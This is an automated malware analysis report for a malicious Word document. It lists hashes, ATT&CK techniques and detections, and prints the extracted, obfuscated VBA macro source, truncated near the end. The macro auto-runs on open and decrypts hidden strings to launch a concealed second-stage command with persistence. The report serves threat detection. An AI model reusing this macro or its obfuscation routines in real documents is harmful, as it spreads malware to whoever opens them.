Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 aa91aa3809be75d9…

MALICIOUS

Office (OLE)

35.5 KB Created: 2019-01-03 14:33:00 Authoring application: Microsoft Office Word First seen: 2019-03-18
MD5: c1e2bb7807ac5af143523dd7f48bb747 SHA-1: 82b73123e07e256d7b6b65d30491ffcfeb663945 SHA-256: aa91aa3809be75d91390caac8872608c56457ba40edc32583b1a54c22193c243
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample contains a VBA macro that automatically executes upon opening the document. This macro utilizes CreateObject to run a second-stage payload, likely a PowerShell script, which is constructed from obfuscated strings. The script establishes persistence by writing to the Run key 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run\IAccessible2Proxy'.

Heuristics 6

  • ClamAV: Doc.Malware.Chronos-6897935-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Chronos-6897935-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4514 bytes
SHA-256: 99bc50202a2256eeb4cd527e97940faf8b434796b6190f96b9df4e2cb6b72003
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Document_Open()
cMLGJ6n6t9ae0zKinS
End Sub
Sub cMLGJ6n6t9ae0zKinS()
Dim UCtWtBRS71gx2E7ok
Dim OcF3Gwfv9BD
Dim HCHNzP9W
Dim DDLuNo9GKViD
Dim QCE9cZDGHGuoOlkq8Ob

UCtWtBRS71gx2E7ok = DXd36("(?þæÊN,½aBek*·SwK¼ ÷-µ¡É?O·· BbùT9Ýj?h½9eh?xÞc?àj?t»íÌÁ ü?6½Sà°s@yD?tÚs¦ËÐ×t¬?¸+el¦é³mkÁ?Ô.^nâÉNê¼D?eFzü×tó¤óà.J�_¾W7?Õ`e\È}~b¨?yFCD?àÔl£ªîèi¯j¸Ye?à6Æn²1�Ít?ÔÄË)?ª?I.gÅäÃD(ݺ}oÃFe?w­u7ÌnÙ£Úzl¹¶Ë?oð«¼oaÙ=d÷d=Í©èF?óY¦iM¸*?lËðG<eÄöðó(ÏA�¯'ùmÑ{hIs¢®tál?ßtÊMoäpr[U(s³_Ò(:?¨©á/KoPú/eùî?tJÜ?Ùh>{°?e?gp?.®4¨?eë?úÁa?Ñï rÈ¿??tC�¡Ðh^WÂ?.Ôzé`l®s?Li_3Z?/Ƴ6Ö~þT¤wsëã8}gï>k(tÄ?h ap;Æ?t£Á;Nh`Ëh½a�sÒ�m ÉÑ1/²r¨ïpj?o?u/??¾tÉÚͲtë�[dy@~?H/¢zï£lkÛ¨ùaÍ^Ëýt?ÕV7ez£GÇsl©ò±t¥G¢á/??ï[w[?tî3£ËTR2î?ð?/6ÏI>pnKè?u_wÚøt?fýKtaÆ?`ym?Ê0.?f?®ewó×àx·?¢Õeý??s'«{ûâ,­z�e'Í0ðO (·N?%,A´/U·bMjS?øiþEÃOLÓRS?´ñP?æ?5RÕUànO*¯àþF`,ÐäIÖ?ºpLV¹l³E9�¡¥%âDûç\+\+Ep½¦Y?a�Ýhíy@iƾl}güÀo?lÂàa¢Îûmd³b?ä.³øû,e(²NWxaYíwex}?Ï'ÉáO£)Gc?¾;?I¢îSªëÔGt{?bGamÁ½ÉrAÌ?Rt}s�L-[S¢ÑP:æÄxr?d?Þo8^¬uc?ÍûôeC{?/sK??zsÛ`hM ¸}»~'p+4?%½è±0UVÞ¹áSH8ίEv?1ÞRÉ?­´P?r?\RûmN¹O¢U- FÁ�_YIÈ�×lLʧYÊE?¸ÕE%sÛ´Ó\|~6rpt}4èa¸(gòy3víålc×>poÃiéÜa@ÐÉkd?0mÅ.?X+je�ëãrxtî²Éehf¾C'Êîá?")
OcF3Gwfv9BD = Left(zory786("5A5356513949610CA9B3178A05C1FD330A81EFD9347EE0DF371B9A67EE9F", "KirPcVgqI"), 13)
Set HCHNzP9W = CreateObject(OcF3Gwfv9BD)
QCE9cZDGHGuoOlkq8Ob = Left(zory786("9E2D2EE2988DCE0C23C67029CCFAFD1062F6FB3304E49345D7736BC624D61CDF8F7317BD2E412EE9905BBFFC0086", "WBIfQ"), 15)
DDLuNo9GKViD = HCHNzP9W.Run(QCE9cZDGHGuoOlkq8Ob & UCtWtBRS71gx2E7ok, 0, False)

End Sub
Function DXd36(QMiQgKI4lE66GMBeTkR As String) As String
    Dim XJOt9t7WeogUzJl59q(1055) As Byte
    Dim ZIDvxR5y3OPC67IQ() As Byte
    Dim nK0jRh
    Dim TaPp5zfhIb1bK
    ZIDvxR5y3OPC67IQ = StrConv(QMiQgKI4lE66GMBeTkR, vbFromUnicode)
    For TaPp5zfhIb1bK = 0 To UBound(ZIDvxR5y3OPC67IQ) - 1
        If (TaPp5zfhIb1bK Mod 5 = 0) Then
            XJOt9t7WeogUzJl59q(nK0jRh) = ZIDvxR5y3OPC67IQ(TaPp5zfhIb1bK)
            nK0jRh = nK0jRh + 1
        End If
    Next TaPp5zfhIb1bK
    DXd36 = Left(StrConv(XJOt9t7WeogUzJl59q, vbUnicode), nK0jRh)
End Function

Private Function zory786(tVPQFxDLsp As String, g0lzOZ1TS350wpet5B As String) As String
On Error Resume Next
    Dim RS3u48FbZN(0 To 255) As Byte
    Dim sfHoq47bcRM2Gt3(0 To 255) As Byte
    Dim huV5h6hMswoNYLs     As Byte
    Dim DDKOt      As Long
    Dim Xuzhw4Qn01P      As Long
    Dim DDKOtdx      As Long
    Dim M07fiKnSyAiPl As String
    Dim R9nL9mAvk As String
    Dim RNSyXHA As Long
    
    For RNSyXHA = 1 To Len(tVPQFxDLsp) Step 2
        M07fiKnSyAiPl = Chr$(Val("&H" & Mid$(tVPQFxDLsp, RNSyXHA, 2)))
        R9nL9mAvk = R9nL9mAvk & M07fiKnSyAiPl
    Next RNSyXHA
    
    tVPQFxDLsp = R9nL9mAvk

    For DDKOtdx = 0 To 255
      RS3u48FbZN(DDKOtdx) = DDKOtdx
      sfHoq47bcRM2Gt3(DDKOtdx) = Asc(Mid$(g0lzOZ1TS350wpet5B, 1 + (DDKOtdx Mod Len(g0lzOZ1TS350wpet5B)), 1))
    Next
    For DDKOt = 0 To 255
      Xuzhw4Qn01P = (Xuzhw4Qn01P + RS3u48FbZN(DDKOt) + sfHoq47bcRM2Gt3(DDKOt)) Mod 256
      huV5h6hMswoNYLs = RS3u48FbZN(DDKOt)
      RS3u48FbZN(DDKOt) = RS3u48FbZN(Xuzhw4Qn01P)
      RS3u48FbZN(Xuzhw4Qn01P) = huV5h6hMswoNYLs
    Next
    DDKOt = 0
    Xuzhw4Qn01P = 0
    For DDKOtdx = 1 To Len(tVPQFxDLsp)
      DDKOt = (DDKOt + 1) Mod 256
      Xuzhw4Qn01P = (Xuzhw4Qn01P + RS3u48FbZN(DDKOt)) Mod 256
      huV5h6hMswoNYLs = RS3u48FbZN(DDKOt)
      RS3u48FbZN(DDKOt) = RS3u48FbZN(Xuzhw4Qn01P)
      RS3u48FbZN(Xuzhw4Qn01P) = huV5h6hMswoNYLs
      zory786 = zory786 & Chr$((krgBJi(RS3u48FbZN((CLng(RS3u48FbZN(DDKOt)) + RS3u48FbZN(Xuzhw4Qn01P)) Mod 256), Asc(Mid$(tVPQFxDLsp, DDKOtdx, 1)))))
    Next
End Function
Private Function krgBJi(ByVal DDKOt As Long, ByVal Xuzhw4Qn01P As Long) As Long
On Error Resume Next
    If DDKOt = Xuzhw4Qn01P Then
      krgBJi = Xuzhw4Qn01P
    Else
   
... (truncated)

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